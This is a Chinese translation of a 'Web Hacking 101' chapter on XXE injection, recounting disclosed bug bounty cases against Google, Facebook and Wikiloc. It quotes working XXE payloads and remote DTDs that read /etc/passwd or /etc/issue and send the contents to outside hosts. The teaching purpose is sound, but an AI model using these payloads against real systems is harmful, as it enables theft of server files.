Web Hacking 101 中文版 十四、XML 外部实体注入(二)

作者:Peter Yaworski

译者:飞龙

协议:CC BY-NC-SA 4.0

示例

1. Google 的读取访问

难度:中

URL:google.com/gadgets/directory?synd=toolbar

报告链接:https://blog.detectify.com/2014/04/11/how-we-got-read-access-on-googles-production-servers

报告日期:2014.4

奖金:$10000

描述:

了解 XML 以及外部实体之后,这个漏洞实际上就非常直接了。Google 的工具栏按钮允许开发者定义它们自己的按钮,通过上传包含特定元数据的 XML 文件。

但是,根据 Detectify 小组,通过上传带有!ENTITY,指向外部文件的 XML 文件,Google 解析了该文件,并渲染了内容。因此,小组使用了 XXE 漏洞来渲染服务器的/etc/passwd文件。游戏结束。

Google 内部文件的 Detectify 截图

重要结论

大公司甚至都存在漏洞。虽然这个报告是两年之前了,它仍然是一个大公司如何犯错的极好的例子。所需的 XML 可以轻易上传到站点,站点使用了 XML 解析器。但是,有时站点不会产生响应,所以你需要测试来自 OWASP 速查表的其它输入。

2. Facebook 单词 XXE

难度:难

URL:facebook.com/careers

报告链接:http://www.attack-secure.com/blog/hacked-facebook-word-document

报告日期:2014.4

奖金:$6300

描述:

这个 XXE 有一些区别,并且比第一个例子更有挑战,因为它涉及到远程调用服务器,就像我们在描述中讨论的那样。

2013 年末,Facebook 修补了一个 XXE 漏洞,它可能会升级为远程代码执行漏洞,因为/etc/passwd文件的内容是可访问的。奖金约为$30000。

因此,在 Mohamed 于 2014 年 4 月挑战自己来渗透 Facebook 的时候,它不认为 XXE 可能存在,直到他发现它们的职位页面允许用户上传.docx文件,它可以包含 XML。对于那些不知道的人,.docx文件只是个 XML 文件的压缩包。所以,根据 Mohames,它创建了一个.docx文件,并使用 7zip 打开它来提取内容,并将下面的载荷插入了一个 XML 文件中。

<!DOCTYPE root [ 
<!ENTITY % file SYSTEM "file:///etc/passwd"> 
<!ENTITY % dtd SYSTEM "http://197.37.102.90/ext.dtd"> 
%dtd; 
%send; 
]]>

你会想到,在解析的时候,如果受害者开启了外部实体,XML 解析器会调用远程主机。要注意!ENTITY定义中和下面使用了%。这是因为这些占位符用在 DTD 自身中。在收到请求调用之后,远程服务器会发送回 DTD 文件,像这样:

<!ENTITY send SYSTEM 'http://197.37.102.90/?%26file;'>"

所以,回到文件中的载荷:

  1. 解析器会将%dtd;替换为获取远程 DTD 文件的调用。

2, 解析器会将%send;替换为服务器的远程调用,但是%file;会替换为file:///etc/passwd的内容。

所以,Mohamed 使用 Python 和SimpleHTTPServer开启了一台本地服务器,并等待接收:

Facebook 远程调用的攻击截图

在报告之后,Facebook 发送了回复,拒绝了这个报告,并说它们不能重现它,并请求内容的视频验证。在交换一些信息之后,Facebook 提到招聘人员可能打开了文件,它会发送任意请求。Facebook 自傲组做了一些深入的挖掘,并给予了奖金,发送了一个邮件,解释了这个 XXE 的影响比 2013 年初的要小,但是仍然是一个有效的利用,这里是这个信息。

Facebook 官方回复

重要结论

这里有一些重要结论。XML 文件以不同形式和大小出现。要留意接受.docx.xlsx.pptx,以及其它的站点。向我之前提到过的那样,有时候你不会直接从 XXE 收到响应,这个示例展示了如何建立服务器来接受请求,它展示了 XXE。

此外,像我们的例子中那样,有时报告一开始会被拒绝。拥有信息和耐心和你报告的公司周旋非常重要。尊重他们的决策,同时也解释为什么这可能是个漏洞。

3. Wikiloc XXE

难度:高

URL:wikiloc.com

报告链接:http://www.davidsopas.com/wikiloc-xxe-vulnerability

报告日期:2015.10

奖金:Swag

描述:

根据他们的站定,Wikiloc 是个用于发现和分享最佳户外远足、骑车以及许多其他运动记录的地方。有趣的是,他们也让用户通过 XML 文件上传他们自己的记录,这就对例如 David Soaps 之类的骑手非常有吸引力了。

基于他们的 Write Up,David 注册了 Wikiloc,并注意到了 XML 上传点,决定测试它有没有 XXE 漏洞。最开始,它从站点下载了文件来判断 XML 结构,这里是一个.gpx文件,并插入了*<!DOCTYPE foo [<!ENTITY xxe SYSTEM “http://www.davidsopas.com/XXE” > ]>;

之后它调用了.gpx文件中 13 行的记录名称中的实体。

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://www.davidsopas.com/XXE" > ]> 
<gpx 
version="1.0" 
creator="GPSBabel - http://www.gpsbabel.org" 
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns="http://www.topografix.com/GPX/1/0" 
xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/1/gpx.xsd"> 
<time>2015-10-29T12:53:09Z</time> 
<bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8.037170000"/> 
<trk>
<name>&xxe;</name>
<trkseg> 
<trkpt lat="40.737758000" lon="-8.093361000"> 
<ele>178.000000</ele> 
<time>2009-01-10T14:18:10Z</time> 
(...)

这产生了发往服务器的 HTTP GET 请求,GET 144.76.194.66 /XXE/ 10/29/15 1:02PM Java/1.7.0_51。这有两个原因值得注意,首先,通过使用一个概念调用的简单证明,David 能够确认服务器求解了它插入的 XML 并且进行了外部调用。其次,David 使用现存的 XML 文件,以便时它的内容满足站点所预期的结构。虽然它没有讨论这个,调用它的服务器可能并不是必须的,如果它能够服务/etc/passwd文件,并将内容渲染在<name>元素中。

在确认 Wikiloc 会生成外部 HTTP 请求后,唯一的疑问就是,是否它能够读取本地文件。所以,它修改了注入的 XML,来让 Wikiloc 向他发送它们的/etc/passwd文件内容。

<!DOCTYPE roottag [ 
<!ENTITY % file SYSTEM "file:///etc/issue"> 
<!ENTITY % dtd SYSTEM "http://www.davidsopas.com/poc/xxe.dtd"> 
%dtd;]> 
<gpx 
version="1.0" 
creator="GPSBabel - http://www.gpsbabel.org" 
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns="http://www.topografix.com/GPX/1/0" 
xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/1/gpx.xsd"> 
<time>2015-10-29T12:53:09Z</time> 
<bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8.037170000"/> 
<trk> 
<name>&send;</name> 
(...)

这看起来十分熟悉。这里他使用了两个实体,它们都在 DTD 中求值,所以它们使用%定义。&send;<name>标签中的的引用实际上由返回的xxe.dtd文件定义,他的服务器将其发送回 Wikiloc。这里是这个文件:

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY % all "<!ENTITY send SYSTEM 'http://www.davidsopas.com/XXE?%file;'>"> 
%all;

要注意%all;实际上定义了!ENTITY send,我们刚刚在<name>标签中注意到它。这里是求值的过程:

  1. Wikiloc 解析了 XML,并将%dtd;求值为 David 的服务器的外部调用。
  2. David 的服务器向 Wikiloc 返回了xxe.dtd文件。
  3. Wikiloc 解析了收到的 DTD文件,它触发了%all;的调用。
  4. %all;求值时,它定义了&send;,它包含%file;实体的调用。
  5. %file;在 URL 值中被替换为/etc/passwd文件的内容。
  6. Wikiloc 解析了 XML 文件,发现了&send;实体,它求值为 David 服务器的远程调用,带有/etc/passwd的内容,作为 URL 中的参数。

用他自己的话来说,游戏结束了。

重要结论

像之前提到的那样,这是一个不错的例子,展示了如何使用来自站点的 XML 模板,来组装你自己的 XML 实体,便于让目标合理地解析文件。这里,Wikiloc 期待.gpx文件,而 David 保留了该结构,在预期标签中插入了他自己的 XML 实体,也就是<name>标签。此外,观察如何处理恶意 DTD 文件很有意思,并且可以用于随后让目标向你的 服务器发送 GET 请求,带有文件内容作为 URL 参数。

总结

XXE 表示一类有巨大潜力的有趣的攻击向量。有几种方式来完成,就像我们之前看到的那样,它能够让漏洞应用打印自己的/etc/passwd文件,以/etc/passwd文件来调用远程服务器,以及请求远程 DTD 文件,它让解析器来使用/etc/passwd文件调用服务器。

作为一个黑客,要留意文件上传,特别是那些接受一些 XML 类型的上传,应该始终测试它们是否存在 XXE 漏洞。

展开阅读全文
©️2020 CSDN 皮肤主题: 黑客帝国 设计师: 上身试试 返回首页
实付0元
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值